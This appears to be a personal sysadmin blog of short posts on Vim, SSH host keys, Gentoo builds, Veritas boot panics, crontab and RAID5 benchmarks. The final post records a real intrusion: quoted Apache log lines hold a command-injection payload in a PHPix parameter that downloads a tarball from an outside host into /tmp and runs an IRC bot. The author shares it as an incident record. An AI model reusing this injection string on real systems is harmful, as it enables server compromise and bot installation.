When you paste a block of text into a Putty window, many times you’ll get an increasing number of leading tabs. Not so if you use gnome-terminal (IIRC). Quite annoying in a Windows world.
Strip tabs and spaces out from current position to the end of the file with:
:.,$s/^[<tab>]*\s*//
Or perhaps you only want a small block in the middle of the file changed. First, turn on line numbers.
:set number
Then search and replace on specific line numbers (in this example lines 15 through 41).
:15,41s/^[<tab>]*\s*//
Then use Ctrl-V (down arrow or h,j,k,l keys to select block) and hit “>” to re-indent. Works much better than reformatting by hand.
I’m sure you have seen something like this when you have connected to a ssh host.
The authenticity of host 'host (1.2.3.4)' can't be established.
RSA key fingerprint is 44:99:ff:33:66:88:cc:66:aa:22:00:00:ee:11:99:33.
Are you sure you want to continue connecting (yes/no)?
Great. Now what? What to do with that cryptic garbage up top? Log into the box or call the admin over the phone and verify the key.
$ ssh-keygen -l -f /etc/ssh/ssh_host_key.pub
No joke. Here’s a snippet out of an E15k manual.
Internal SRAM protection inside the UltraSPARC III Cu CPU. With higherdensity CPUs and lower-core voltages, SRAM cells have become more vulnerable to bit flips from cosmic-ray disturbances. Single-bit errors for the majority of the internal SRAMs are detected and are recoverable.
I’m sure it happens. I just find it funny that Sun has to design its chips to withstand interstellar high energy particles (or what-not). I’m no physicist.
I’ve updated Gnome 2.8 to 2.10 on two other boxes. The third box (which may have had lots of unstable packages on it) is complaining. When I `emerge gnome`, gnome-games fails with:
game.o(.text+0xa19): In function `bj_game_ensure_config_dir_exists(char const*)’:
: undefined reference to `g_mkdir(char const*, int)’
collect2: ld returned 1 exit status
make[3]: *** [blackjack] Error 1
make[3]: Leaving directory `/var/tmp/portage/gnome-games-2.10.1/work/gnome-games-2.10.1/blackjack/src’
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/var/tmp/portage/gnome-games-2.10.1/work/gnome-games-2.10.1/blackjack’
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/var/tmp/portage/gnome-games-2.10.1/work/gnome-games-2.10.1′
make: *** [all] Error 2
!!! ERROR: gnome-extra/gnome-games-2.10.1 failed.
!!! Function gnome2_src_compile, Line 41, Exitcode 2
!!! compile failure
!!! If you need support, post the topmost build error, NOT this status message.
It’s insane because I really don’t want gnome-games but it’s a dependancy. Working through it … will post progress…
—
Emerging single packages seems to work, I wonder if g_mkdir is in a header I don’t have somewhere …
—
I emerged a set of packages (one and two at a time) out of the `emerge -pv gnome` dependancy list and I got past gnome-games. Must have been a libray somewhere. I will post the history of packages I emerged. I am 3 packages into `emerge gnome`, past the games. Must be working. Very close to getting 2.10 working on this machine. :)
—

- they rearranged some of the main menu bar items,more logical now
- you can mount volumes over ssh, that is just crazy. I was looking at thumbnails on my server at home through ssh. Insanely useful, although I can’t figure out how to text edit in read/write mode.
- video player
- ripper
- many other little things
More details here.
Comments Off
emerge world updates every package you have to the latest version that’s available via source. Read on for a screendump of tastiness.
(more…)
Over a weekend I had the fun task of rebuilding two Sun Cluster hosts as standalone servers (Sun Cluster wasn’t great for us). I rebuilt one box and noticed after encapsulation that is complained about the ufs log on /. It was weird but didn’t cause any problems.
The 2nd identical box didn’t go so well. After veritas’ rootdisk encapsulation, it kernel panicked with that error above and I was dead in the water. I thought it was a fluke so I spent 3 hours rebuilding it again. The 2nd time it did the same thing. This was amazing to me because I knew the hardware was good and that the software should work (worked on the 1st box anyway). I called Veritas support and got some answers. I’m posting this just in case someone googles this and it saves their ass.
When booting Solaris after encapsulation, I got the following error:
Rebooting with command: boot
Boot device: /pci@8,600000/SUNW,qlc@4/fp@0,0/disk@w21000004cfd9a1cb,0:a File and args:
SunOS Release 5.9 Version Generic_117171-13 64-bit
Copyright 1983-2003 Sun Microsystems, Inc. All rights reserved.
Use is subject to license terms.
WARNING: vxvm:vxdmp: Cannot find device number for
e_ddi_get_dev_info: Illegal major device number
NOTICE: vxvm:vxio: Cannot open disk ROOTDISK: kernel error 6
Cannot mount root on /pseudo/vxio@0:0 fstype ufs
panic[cpu0]/thread=140a000: vfs_mountroot: cannot mount root
0000000001409970 genunix:vfs_mountroot+70 (0, 0, 0, 200, 1458170, 0)
%l0-3: 000000000144bc00 000000000144bc00 0000000000002000 0000000001495428
%l4-7: 000000000149b000 0000000001411e28 000000000144c400 000000000144f400
0000000001409a20 genunix:main+90 (1409ba0, f005a4d8, 1409ec0, 391d52, 2000, 500)
%l0-3: 0000000000000001 000000000140a000 0000000001412f98 0000000000000000
%l4-7: 0000000078002000 0000000000394000 00000000014a3800 00000000010665f8
skipping system dump - no dump device configured
Read on for the fix.
(more…)
#minute (0-59),
#| hour (0-23),
#| | day of the month (1-31),
#| | | month of the year (1-12),
#| | | | day of the week (0-6 with 0=Sunday).
#| | | | | commands
Good for putting at the top of crontab files.
Comments Off
Set up a 2.6TB raid5 volume using A5200s and a 2x450mhz E220R. Shared it using samba3. Saw that network copies were horrible to it. This is the output of bonnie++ (a disk benchmark) and then I piped the results to `bon_csv2html’ program (included with the source distribution of bonnie).

You can see that I’m getting only 594KB of block writes per second but 13.3MB of block reads per second. Writes are way too slow because it’s having to write little 32k interlaces across 40 disks in an external disk array.
Test2 is a 3 disk RAID5 stripe. Interlace size is still the default of 32k. Still not great performance. Boo software RAID5.
Comments Off
/tmp is writable for the apache user. Someone exploited some bad code and uploaded an IRC bot on Aug 09. It’s not running now and we did a test to see if ./mech could be run. It didn’t start.
We fixed the PHPix code to check for system escapable characters. PHPix really should have done this from the start. Goes to show you that security really goes out the window with freeware and lots of services running.
[Mon Aug 09 05:39:42 2004] [error] [client 82.208.182.219] File does not exist: /var/www/jonhammond/docs/albums/generated/Misc/Other/dogs__scaled_`cd , referer: http://jonhammond.com/albums/?mode=view&album=Misc%2FOther&pic=dogs.jpg&
dispsize=http://www.martynlomax.com/phpix/index.php?album=pissups%2FOn-Anon&
dispsize=`cd%20/tmp;mkdir%20'%20..%20';cd%20'%20..%20';wget%20idl3.home.ro/botu.tgz;
tar%20xzvf%20botu.tgz;cd%20botu;./mech;./mech`&start=0
[Mon Aug 09 12:12:42 2004] [error] [client 82.208.182.219] File does not exist: /var/www/jonhammond/docs/albums/generated/Misc/Virginia/matt__scaled_`cd , referer: http://jonhammond.com/albums/?mode=view&album=Misc%2F
Virginia&pic=matt.jpg&
dispsize=`cd%20/tmp;mkdir%20'%20..%20';cd%20'%20..%20';wget%20idl3.home.ro/botu2.tgz;
tar%20xzvf%20botu2.tgz;cd%20botu;./mech`&start=0
Wasn’t a big deal, the IRC bot didn’t run because apache’s shell is /bin/false. (I shouldn’t be telling you all this) I’m still researching what emech is, how IRC bots work and if I can lock down apache anymore.